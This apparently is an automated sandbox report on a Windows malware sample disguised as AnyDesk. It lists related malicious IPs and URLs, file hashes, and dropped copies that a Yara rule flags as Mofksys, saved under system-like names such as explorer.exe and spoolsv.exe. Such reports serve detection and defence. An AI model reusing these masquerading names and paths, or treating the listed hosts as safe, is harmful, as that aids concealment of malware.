	xWqX0SL1Sg.exe	Get hash	malicious	Browse	5.8.71.97
	https://heylink.me/gshdj/	Get hash	malicious	Browse	185.12.242.35
	PINGPULL_HTTP.exe	Get hash	malicious	Browse	5.8.71.97
	arm7	Get hash	malicious	Browse	92.38.145.186
	https://bullant-security.w3spaces.com/	Get hash	malicious	Browse	92.223.124.254
	http://xopenload.pw	Get hash	malicious	Browse	92.223.124.254
	04-12-22-0087976.doc	Get hash	malicious	Browse	92.38.178.11

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
c91bde19008eefabce276152ccd51457	AnyDesk (5).exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk (4).exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk (3).exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDeskUninst5265.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	handelsbankensupport.com-AnyDesk.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk_ETS_WIN.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	YfbB61z87a.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39
	AnyDesk.exe	Get hash	malicious	Browse	49.12.130.236 49.12.130.237 185.229.191.39

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x50ff5d0b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2507255342529854
Encrypted:	false
SSDEEP:	384:M+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:TSB2nSB2RSjlK/+mLesOj1J2
MD5:	69F5E4678F8719329AF3904F61EFDCC4
SHA1:	F11DEC0687A6A7E4EA5A0BF1DE260E7104A2DFE3
SHA-256:	25D86C34A3A39DD15624B35E24F09B4F6C4F505EB1CBF215B113AF5F0F32210A
SHA-512:	4D89B80BFF0DA0A344692C3454C873A2532BE7131BACE905D08A653EA9C92544E1DE4455A700EB3C81D6B4548238B797259D6F8CF22512A099BB5A3196781ED0
Malicious:	false
Reputation:	low
Preview:	P.].... ................e.f.3...w........................&..........w...9...z..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w......................................................................................................................................................................................................................................+.8..9...z.g................b.:.9...z..........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF1610AD0EF6C72DD2.TMP

Download File

Process:	C:\Windows\Resources\spoolsv.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	1.0138474450443473
Encrypted:	false
SSDEEP:	6:rl91bxbtg/Ul+CFQXGFS/lt9Xblt59Xh9XR5+1lf35X:rl3b/VFQGFStfbltD7Ovf5
MD5:	257FA8889FB3A52D41A899309386D94C
SHA1:	7876C6E846A1E8B98FE4AB8E45D8A20C706FA4AF
SHA-256:	9246BE416AA4BD404FCDB26B668FE483CB3BBD000033A5D0E7B09E4C750AB36F
SHA-512:	C604E285B642C2DF8F4FF24E4A04EC10F694F04B83618C4AB3F23C5DFB47EEE44EC01AF299EECA74108838C89C31AA09E7B9E515A2A1D03C15D0A22B38C7C837
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF744899192DCD9BB4.TMP

Download File

Process:	C:\Windows\Resources\svchost.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	1.0150719828554693
Encrypted:	false
SSDEEP:	6:rl91bxbtg/Ul+CFQXxslt9Xblt59Xh9XR5+1lf35X:rl3b/VFQSfbltD7Ovf5
MD5:	F5BE51E11DBE9CE68D2F045C974194DE
SHA1:	81C4865507955BDB63051EC8671AC247DD424A67
SHA-256:	C71BA5BB6671647150F70631359529F3482E45F01BE9F6C513CBF6E0BEFBDD13
SHA-512:	C28BCFA1DA5E4B7D2904CCB83E032FB3CD649E89D04678642424C28084FAACC97908B9CA386E848D05EA449223B825C361872A7D0C6D8FBCF1C6C5734C286AED
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF8D5525F3BF23B86C.TMP

Download File

Process:	C:\Windows\Resources\Themes\icsys.icn.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	1.015427096491833
Encrypted:	false
SSDEEP:	6:rl91bxbtg/Ul+CFQXOlt9Xblt59Xh9XR5+1lf35X:rl3b/VFQKfbltD7Ovf5
MD5:	BCF7AFF0DA3C0D3EE38CEBB085362040
SHA1:	789459B18926426F29A541BED94EF0F3F95DE6E0
SHA-256:	16A01ABDA6AE4E75609316843E7F8A6229EADBFA47977EB5DB7A26F4750322DF
SHA-512:	86C80C4862A8DE73C8A53D8E34C2A245BDEFC1493F00F67E41D15F954F4C5BAB7A9F48D30591CAD0B712040534F46B857DD2503E8AE352775EC76510058137A1
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFEEC415210A380BCD.TMP

Download File

Process:	C:\Windows\Resources\Themes\explorer.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	1.014361755582742
Encrypted:	false
SSDEEP:	6:rl91bxbtg/Ul+CFQXs9Flt9Xblt59Xh9XR5+1lf35X:rl3b/VFQcffbltD7Ovf5
MD5:	572512E04D2B908761A25BC009462CF4
SHA1:	F858F6CC1CE079D39E2AF2817D089F18BE1C34BF
SHA-256:	05958FB61A9A5BD571776B72F7D8F7E0A3DDDDA66C991B14C6058F8EFC641FEE
SHA-512:	82AC3F38EDA6D3FEDAAE9B9DE2EA0CD9F61492CA30CC44C747453CFA1671822255CD67BCE5F9D34FA2D73F867470E7E993B7A1636388B0FFCFA831337D9B75C2
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFF8E194D4D74C44E8.TMP

Download File

Process:	C:\Windows\Resources\spoolsv.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	1.0150719828554693
Encrypted:	false
SSDEEP:	6:rl91bxbtg/Ul+CFQXpilt9Xblt59Xh9XR5+1lf35X:rl3b/VFQIfbltD7Ovf5
MD5:	B4B9E9F7358A49899990677913D7988E
SHA1:	3E7F2D84A66A543A21690B0E2295F13374FCD5BB
SHA-256:	B6CB874BE6483E0007DFF9A335C4CE6693D60BE18F24466642C818C069B34D90
SHA-512:	2B8A2EFC8616B75EA68E019467A7FC2C253CF1B0FFFD9144320482124A67BF4E99E5E4DC167F28125A6E02E5BC776BE7DEC77FB921495F43DF71090F7D779D11
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFFE57A1C8066DBB5E.TMP

Download File

Process:	C:\Users\user\Desktop\sJ9Q8UWMAX.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	1.015427096491833
Encrypted:	false
SSDEEP:	6:rl91bxbtg/Ul+CFQX8/lt9Xblt59Xh9XR5+1lf35X:rl3b/VFQ8tfbltD7Ovf5
MD5:	2C110568CDEB0A26B47D610B1F57993D
SHA1:	E5406436410DE6B4B1E46B97ABCF3494E66303CE
SHA-256:	E8DDC4628D96D0BA9DB69397ACDAFADE8BCB3EA6B5EEB467B58144919290BBAF
SHA-512:	00C991C68D7CC55E854EC89ABFACD5016EF611BB8FD0287B825F6DC8FE59FC81522B88E8479253D68F746AE28518F836BA12D02196535C898B8DEA2DAEF308A7
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\AnyDesk\service.conf

Download File

Process:	C:\Users\user\Desktop\sj9q8uwmax.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	6.026349035077884
Encrypted:	false
SSDEEP:	48:uISTisbiCBtvlwyPAVRPQKdj6HLD8qqTSulEfpiHNZ92ZLm+1WID212:uISTZiCBtPPeRPxde/8qq+ulEkHNZX+R
MD5:	D3CFC62A5048B8C5531BDA669451A8E2
SHA1:	C9719FEB583AFC9491BCDA413D20375CAECC5B51
SHA-256:	F01AB65F7DB4EDDCFE92A8CBD0780DDB2AEA62B7865B3F2DC11E65346ED8D6F4
SHA-512:	3536D6E2C20747AAF38C326A5A55641A6B113B15FB9010B63E7E76AEF405FC9EA60D147C02ED5E8822CC2AAC50E41BDBB418D2E62D454B692462EE1D73076559
Malicious:	false
Preview:	ad.anynet.cert=-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjIwNzE3MDY1NzA2WhgPMjA3MjA3MDQwNjU3MDZaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEA4Yiz0IqtdWGqyA7F7KGWvxEFcbU0z18461uplYxffF8sep2/3U4rxpbeE2nb\n5uTaL8T29HETKbceTtwbVSquRTrjf+x1xoyRRrbCUVtakYMrQC/DqOGpHqMHAOg1\ni1L5dt4bvYpaFE6H8URviyYy9NcIRmR4mJGpCa7SF6uQ9iXexbyW/g3QFMBLZWDv\nEw5/RrTNZ2B7eFq+drQubU6gPy8+1T3Ax4HjBYZFoZ6bqlBNUE+PeahWXB2KYaFP\nOwehTl67DBHyjtUUYWDGMlZTVFnUUJELXQSxeqU3geN+Kz0wLPK4sSulAhNtag9b\ndpB/NQcyIMylAE1JlrWmlQRm1QIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQB/Dghq\nG8rr/dYdeMZRmQxIYs9TMfwXOjozfe5C9URakg/lL/sxJpW/gZUSSyNRyvHxtMg5\nKXwZVsFUl2hYCMQNdSnk8pTmar49VtrJmBlDJYd6Jn35WiJeYN/8ahE1I8LdKb/h\nu5atwtKPw9WPdL/eKrWgVlmpt/HMyOp2VOhO6Hx9DrBfHgNzc6NZEinzzRLVBe+s\nk7bwvVEtw6/mkBKNxrlez58Qn9R//AN0Rv2VXyuURDnheMuETSg4Czqbunueh7/t\npUdaCbwkWwr3vjy0O6QeRLHoJlT6PKGEadmsqyoWQUuiQxhyhJ3ELT44GoDQy+rC\neNUyTnAqM0Mi3I8n\n-----END CERTI

C:\Users\user\AppData\Roaming\AnyDesk\system.conf

Download File

Process:	C:\Users\user\Desktop\sj9q8uwmax.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	395
Entropy (8bit):	4.550646416567168
Encrypted:	false
SSDEEP:	6:owD/DMWJcOMzo+raqQAmvbahOmQgRQUQgRQPYQgRQOYQgfxPZxi3B6QgfxPg3qg3:o0MWJctXmqQHvWhOLroBGgFBGA
MD5:	70C3EEFDFBBA4140FCF628059A5F4584
SHA1:	5AEAFA2E9C111D9E474F2F9647F171F39A5EFBD6
SHA-256:	5772F9CBEFF7585AAACBF776CB37EC9B9D99463F52790E909BC352633FD72278
SHA-512:	5265EDAE9B92CFE48F1915316A33DD6FFB9E197F1560B13D99306B57784312CC982D27F98822696A66A166BCF9B400C5474AEFC6AD3F5592F58735A973A0FA44
Malicious:	false
Preview:	ad.anynet.fpr=404b2696203e0596eef53d9df1a930c68df166d4.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=0.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles.version=1.

C:\Users\user\AppData\Roaming\AnyDesk\user.conf

Download File

Process:	C:\Users\user\Desktop\sj9q8uwmax.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1158
Entropy (8bit):	4.559621408130901
Encrypted:	false
SSDEEP:	24:snKw0XoKXVVxU4ThHhgCtXenKw0XkUnTFVlPJr/pOlA5lL/6:snXgRjtenvgTxoMlLC
MD5:	329E5D9D173516659F86B6A3396647AE
SHA1:	AD3EB2877CBBAF3BA77D11BBB70D154B90B3CE0D
SHA-256:	CD6B73BDA680A3867B89B0522B120D9476A1FCD59644F0A136787BE409A6434E
SHA-512:	D62CBD889E9464E6F52B80F09EAA26727AAB2267EF7330B0514C74C66D984C981C4E7B5A641E11E8C2952161F118625D31BF3176E321B56F5AF80F3F6AEB00A4
Malicious:	false
Preview:	ad.invite.created_list_encrypted=6fa74c609a01f31f1f670668df954f4642a4aae8018a18dace6e7ff197dadefbaefc898a49d9c7f10bf648310f1fa2df0b53d2e90e4e008262013ecaea926c08e47680ab18934a0678562d90d8959639f8d86e572d4ffe537634ef202b50c27374ab0862b47b212f41cf5778b89cce4556a6619866d1f52a4f0fffa249b0df64dda5e4a34c5b186110cc3c076a2b5470f0d9ba1ed944f230acdedab555f05ebea119806804e98f658479de8c8eab54fca87b8eb0caf531ba376f557f2efd95347624ee6daace821f6cc514cbe00bdfa1426127374cb8a6f2a57aa16524548726c72c9aee2d71.ad.invite.received_list_encrypted=6fa74c609a01f31f1f670668df954f4642a4aae8018a18dace6e7ff197dadefbaefc898a49d9c7f10bf648310f1fa2df0b53d2e90e4e008262013ecaea9230200c53c878299fd5ebb1199458147b80156cfc7e83aeca9c50d7288bb245d5c27374ab0862b47b212f41cf5778b89c71dce2cb62b1a97274b157c1206cc0d78b0ee019d528434fabc926bd9fee27ff5470f0d9671c56c7be77aee262fd62109603a6da806804e93a2b5d208fcaf6ebb7202cb21d4bea2035bd8bb3805a0ffcddfefa23796b6c873ec70d9867c3a717fc3e008cb290bedc28beca60837d8aef6d8515cefb181be3.ad.roster.c

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\64ISL0FR01IFOK9S75OC.temp

Download File

Process:	C:\Users\user\Desktop\sj9q8uwmax.exe
File Type:	data
Category:	dropped
Size (bytes):	3252
Entropy (8bit):	3.343541104275968
Encrypted:	false
SSDEEP:	48:2UJcJJ88vNdLwd+oySUJtJJ89aNdLwd/yH:NJWrkdMJlxkdy
MD5:	F3719467AA20F82E1F26FF64BA9D3FF9
SHA1:	1628BA894CEBCAD262E33C2BDD1087F755D9BB80
SHA-256:	4837E903400AFF13E4C7479BA96B50F5E4102D497985E82BF15D93F82703FAD6
SHA-512:	2F7B7237B56E04BB410B0A9CCAC2EBFD285B6985F16774928E05CE02ECEDC5D5409A25854AC786A9DEEDFF1AD8D10AB59246E7CD370CC9883D25419F77A78C87
Malicious:	false
Preview:	...................................FL..................F.@..&......].....Q._......]......:..........................P.O. .:i.....+00.:...:..,.LB.)...A&...&..........-.....]......c......l.2...:..T.7&.SJ9Q8U~2.EXE..P.......T.7.T.7..........................'...s.j.9.q.8.u.w.m.a.x...e.x.e.........V...............-.......U............ r......C:\Users\user\Desktop\sj9q8uwmax.exe.....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w...'.c.:.\.u.s.e.r.s.\.a.l.f.o.n.s.\.d.e.s.k.t.o.p.\.s.j.9.q.8.u.w.m.a.x...e.x.e...........%USERPROFILE%\desktop\sj9q8uwmax.exe................................................................................................................................................................................................................................%.U.S.E.R.P.R.O.F.I.L.E.%.\.d.e.s.k.t.o.p.\.s.j.9.q.8.u.w.m.a.x...e.x.e...........................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\75fdacd8330bac18.customDestinations-ms (copy)

Download File

Process:	C:\Users\user\Desktop\sj9q8uwmax.exe
File Type:	data
Category:	dropped
Size (bytes):	3252
Entropy (8bit):	3.3415004321854416
Encrypted:	false
SSDEEP:	48:xEhJtJJ88vNdLwd+oyNEhJtJJ89aNdLwd/yH:xMJlrkdaMJlxkdy
MD5:	7B50062F2C00880F8CCCA5844C01F5F0
SHA1:	B5DDADFFF043EE502FF6FCD97CC3E0AC897D0439
SHA-256:	A71ECB1F3B9B08C790125030D0A619B478708F2C130CA846283E07195FDED34A
SHA-512:	9A4EDEFFCF7FA53A0DF9F7F34D472364CE1E9518381CCE1857D73DF52A13EBC45C5B50D02FA92828D651B1B0AE3F36B5889F85EC823FDA0C5DE16E85B16961F0
Malicious:	false
Preview:	...................................FL..................F.@..&......].......i......]......:..........................P.O. .:i.....+00.:...:..,.LB.)...A&...&..........-.....]......c......l.2...:..T.7&.SJ9Q8U~2.EXE..P.......T.7.T.7..........................'...s.j.9.q.8.u.w.m.a.x...e.x.e.........V...............-.......U............ r......C:\Users\user\Desktop\sj9q8uwmax.exe.....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w...'.c.:.\.u.s.e.r.s.\.a.l.f.o.n.s.\.d.e.s.k.t.o.p.\.s.j.9.q.8.u.w.m.a.x...e.x.e...........%USERPROFILE%\desktop\sj9q8uwmax.exe................................................................................................................................................................................................................................%.U.S.E.R.P.R.O.F.I.L.E.%.\.d.e.s.k.t.o.p.\.s.j.9.q.8.u.w.m.a.x...e.x.e...........................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YGURIJQPDD9BXO5FWFYW.temp

Download File

Process:	C:\Users\user\Desktop\sj9q8uwmax.exe
File Type:	data
Category:	dropped
Size (bytes):	3252
Entropy (8bit):	3.3415004321854416
Encrypted:	false
SSDEEP:	48:xEhJtJJ88vNdLwd+oyNEhJtJJ89aNdLwd/yH:xMJlrkdaMJlxkdy
MD5:	7B50062F2C00880F8CCCA5844C01F5F0
SHA1:	B5DDADFFF043EE502FF6FCD97CC3E0AC897D0439
SHA-256:	A71ECB1F3B9B08C790125030D0A619B478708F2C130CA846283E07195FDED34A
SHA-512:	9A4EDEFFCF7FA53A0DF9F7F34D472364CE1E9518381CCE1857D73DF52A13EBC45C5B50D02FA92828D651B1B0AE3F36B5889F85EC823FDA0C5DE16E85B16961F0
Malicious:	false
Preview:	...................................FL..................F.@..&......].......i......]......:..........................P.O. .:i.....+00.:...:..,.LB.)...A&...&..........-.....]......c......l.2...:..T.7&.SJ9Q8U~2.EXE..P.......T.7.T.7..........................'...s.j.9.q.8.u.w.m.a.x...e.x.e.........V...............-.......U............ r......C:\Users\user\Desktop\sj9q8uwmax.exe.....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w...'.c.:.\.u.s.e.r.s.\.a.l.f.o.n.s.\.d.e.s.k.t.o.p.\.s.j.9.q.8.u.w.m.a.x...e.x.e...........%USERPROFILE%\desktop\sj9q8uwmax.exe................................................................................................................................................................................................................................%.U.S.E.R.P.R.O.F.I.L.E.%.\.d.e.s.k.t.o.p.\.s.j.9.q.8.u.w.m.a.x...e.x.e...........................................................................................................................................

C:\Users\user\Desktop\sj9q8uwmax.exe

Download File

Process:	C:\Users\user\Desktop\sJ9Q8UWMAX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3848888
Entropy (8bit):	7.999092263566694
Encrypted:	true
SSDEEP:	98304:bJ9toRH4BY81fY8i2k5x2Vy5nkvusNFl0K9xdo:bfee2Gtu/GusNf0ax6
MD5:	871EB4B8AEFAEA1113DD3F08B7CB535C
SHA1:	441A52F0112DA187244EEEC5B24A79F40CC17D47
SHA-256:	AEA8F85E569443A8C00B94FA19B5155B9122183F05BEDFDCDCCD1D18451760FD
SHA-512:	64E81E1F4975F8F4571EDAED80ACCE93A06ABE4FEEE2858DAFE9F0275EDD4734D12C6B7987EB3B9CCA84C3E071B0423656A4C8568B9BAFD48E3CFADF2DBC5277
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L...=qab..........".........P:..H...........@....@.................................do;...@.............................................PH...........z:..@...........................................................................................text...5(......................... ..`.itext...H...@...........................rdata..............................@..@.data.....9.......9..2..............@....rsrc...PH.......J...,:.............@..@.reloc...............v:.............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Resources\Themes\explorer.exe

Download File

Process:	C:\Windows\Resources\Themes\icsys.icn.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	138466
Entropy (8bit):	5.873431225585432
Encrypted:	false
SSDEEP:	1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVAd:UVqoCl/YgjxEufVU0TbTyDDalyd
MD5:	DD8285E811872E2562A43A04A7B27672
SHA1:	7AD1EC878AC466E1D148565826917FCD172580F0
SHA-256:	BCE99678E04087DE5DC3318BE25D57DAD8DD36201AAF4E77D29CD4E62688132A
SHA-512:	069F89E85C5040C752853D7F1CE3C9C65F8B8FE4BFABCB67C508E47DFEB59C98F64A31AF195C297700E177AC8353898678B980D89D71C08C283FCCBD2DBF1EBE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: C:\Windows\Resources\Themes\explorer.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................................................................!..L.!This program cannot be run in DOS mode....$........t..............z.......................Rich............PE..L...f2YQ.....................0.......)............@..................................E..........................................(...........................................................................(... ....... ............................text.............................. ....data...............................@....rsrc............ ................5.@...l.[J............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Resources\Themes\icsys.icn.exe

Download File

Process:	C:\Users\user\Desktop\sJ9Q8UWMAX.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	138316
Entropy (8bit):	5.843351150845176
Encrypted:	false
SSDEEP:	1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVAk:UVqoCl/YgjxEufVU0TbTyDDalyk
MD5:	0A9BDF90EF50DEF16C6D4C363D0F0B9C
SHA1:	5C8AB92BE20C90234637A769EEDBD59122122301
SHA-256:	787E7D379518A641E58FF1A2A67C6A0818DF1C74A5DEE7119C0490B385036062
SHA-512:	05B09265C156042164112E2397B7A4F0632DF5DAB5BF2C590553CF2185A629F39E9C8BD6A733037343043E36B6414DCB9E3C1B80EB7812A9DE62D8D11269F0C9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: C:\Windows\Resources\Themes\icsys.icn.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................................................................!..L.!This program cannot be run in DOS mode....$........t..............z.......................Rich............PE..L...f2YQ.....................0.......)............@..................................E..........................................(...........................................................................(... ....... ............................text.............................. ....data...............................@....rsrc............ ................5.@...l.[J............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Resources\spoolsv.exe

Download File

Process:	C:\Windows\Resources\Themes\explorer.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	138457
Entropy (8bit):	5.85413891591597
Encrypted:	false
SSDEEP:	3072:UVqoCl/YgjxEufVU0TbTyDDalyErrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr1:UsLqdufVUNDa3
MD5:	A97B2BA7591F981B8BBB1CE5E78C8D3A
SHA1:	A00E269BEDB2739229BB8C8F7FDDABDC90B45EF1
SHA-256:	D79C26844019590857DA0AD87864ECCBF407300F110F5333010838364B9E0B20
SHA-512:	65013B28C14AF529538438D4BE8D218040A47315DB8242B7121C694D4ABDBA5E0B52017D1543FA0A950004722BBBBD2E2C096E08162269468BE62F058DF05946
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: C:\Windows\Resources\spoolsv.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................................................................!..L.!This program cannot be run in DOS mode....$........t..............z.......................Rich............PE..L...f2YQ.....................0.......)............@..................................E..........................................(...........................................................................(... ....... ............................text.............................. ....data...............................@....rsrc............ ................5.@...l.[J............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Resources\svchost.exe

Download File

Process:	C:\Windows\Resources\spoolsv.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	138302
Entropy (8bit):	5.871623753685915
Encrypted:	false
SSDEEP:	1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVA2:UVqoCl/YgjxEufVU0TbTyDDaly2
MD5:	E2A51AD55E5850D878E994E774D44ED1
SHA1:	14DD6DFB61304BF2F3618259C99BE6BCCA507724
SHA-256:	94D947A14E722D6E9CDE5C222438C0BD0A95115B41227369C6B96930A03A1849
SHA-512:	617D757DF5AC2C45C9D7052B3DEAD381D3E869C07A6A889D69BA98950663C31BAC88C16005F36270F5500BA769BAAD45FDF3463D06FD9A74F34C528597FB6E18
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: C:\Windows\Resources\svchost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................................................................!..L.!This program cannot be run in DOS mode....$........t..............z.......................Rich............PE..L...f2YQ.....................0.......)............@..................................E..........................................(...........................................................................(... ....... ............................text.............................. ....data...............................@....rsrc............ ................5.@...l.[J............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	MS-DOS executable, MZ for MS-DOS
Entropy (8bit):	7.983266251122014
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	sJ9Q8UWMAX.exe
File size:	3987229
MD5:	7fdb00c80f0250575a05601c08627d50
SHA1:	709a67ee148978a05bb3c3b530d68004c1eb5196
SHA256:	5d47d5ad88c5d99cac3a860e682bb9542046e05ee33b3a4fd896db5464e7f0a6
SHA512:	ffe615bebefcfb6460f48a64b0494787b9f2e02dd445359a6fd374bf21bba04d7e20595f9d285455f47e3f844d3ed8561cd7d29188f1d36d836a4148055aa0af
SSDEEP:	98304:xJ9toRH4BY81fY8i2k5x2Vy5nkvusNFl0K9xdi:xfee2Gtu/GusNf0axQ
TLSH:	C9063323AB94043FD81242F075B5C639B9407E710AB99D472BAAFA15A6F3B4337B411F
File Content Preview:	MZ......................................................................!..L.!This program cannot be run in DOS mode....$........t..............z.......................Rich............PE..L...f2YQ.....................0.......)............@................

File Icon


Icon Hash:	081669d8d8299628

Static PE Info

General

Entrypoint:	0x40290c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x51593266 [Mon Apr 1 07:08:22 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
